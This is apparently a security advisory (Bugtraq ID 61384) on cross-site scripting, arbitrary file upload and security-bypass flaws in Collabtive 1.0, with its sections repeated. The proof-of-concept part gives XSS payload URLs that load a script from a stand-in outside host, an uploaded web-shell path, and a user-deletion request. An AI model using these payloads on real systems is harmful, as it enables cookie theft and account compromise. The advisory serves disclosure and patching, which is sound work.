Collabtive Multiple Security Vulnerabilities
BID:61384
Info
Collabtive Multiple Security Vulnerabilities
| Bugtraq ID: | 61384 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 22 2013 12:00AM |
| Updated: | Jan 22 2014 12:22PM |
| Credit: | Enrico Cinquini |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
Collabtive Multiple Security Vulnerabilities
Collabtive is prone to multiple cross-site scripting vulnerabilities, an arbitrary file upload vulnerability, and a security-bypass vulnerability because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues could allow an attacker to bypass certain security restrictions, upload and execute arbitrary script code in the context of the affected web server process. This may let attackers steal cookie-based authentication credentials, perform unauthorized actions, or compromise the application; other attacks are possible.
Collabtive 1.0 is vulnerable; other versions may also be affected.
Collabtive is prone to multiple cross-site scripting vulnerabilities, an arbitrary file upload vulnerability, and a security-bypass vulnerability because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues could allow an attacker to bypass certain security restrictions, upload and execute arbitrary script code in the context of the affected web server process. This may let attackers steal cookie-based authentication credentials, perform unauthorized actions, or compromise the application; other attacks are possible.
Collabtive 1.0 is vulnerable; other versions may also be affected.
Exploit / POC
Collabtive Multiple Security Vulnerabilities
An attacker can exploit some of these issues through a browser. To exploit multiple cross-site scripting vulnerabilities the attacker must entice an unsuspecting victim to follow a malicious URI.
The following example URLs are available:
File upload:
https://www.example.com/secprj/files/standard/avatar/uploadedshell_104185.php
Cross-site scripting:
https://www.example.com/secprj/managechat.php?userto=<SCRIPT/XSS SRC="http://www.example1.com/xss.js";></SCRIPT>&uid=2
"><SCRIPT/XSS SRC="http://www.example1.com/xss.js";></SCRIPT>
Security-bypass:
https://www.example.com/secprj/manageuser.php?action=del&id=5
An attacker can exploit some of these issues through a browser. To exploit multiple cross-site scripting vulnerabilities the attacker must entice an unsuspecting victim to follow a malicious URI.
The following example URLs are available:
File upload:
https://www.example.com/secprj/files/standard/avatar/uploadedshell_104185.php
Cross-site scripting:
https://www.example.com/secprj/managechat.php?userto=<SCRIPT/XSS SRC="http://www.example1.com/xss.js";></SCRIPT>&uid=2
"><SCRIPT/XSS SRC="http://www.example1.com/xss.js";></SCRIPT>
Security-bypass:
https://www.example.com/secprj/manageuser.php?action=del&id=5
Solution / Fix
Collabtive Multiple Security Vulnerabilities
Solution:
Updates are available. Please see the references or vendor advisory for more information.
Solution:
Updates are available. Please see the references or vendor advisory for more information.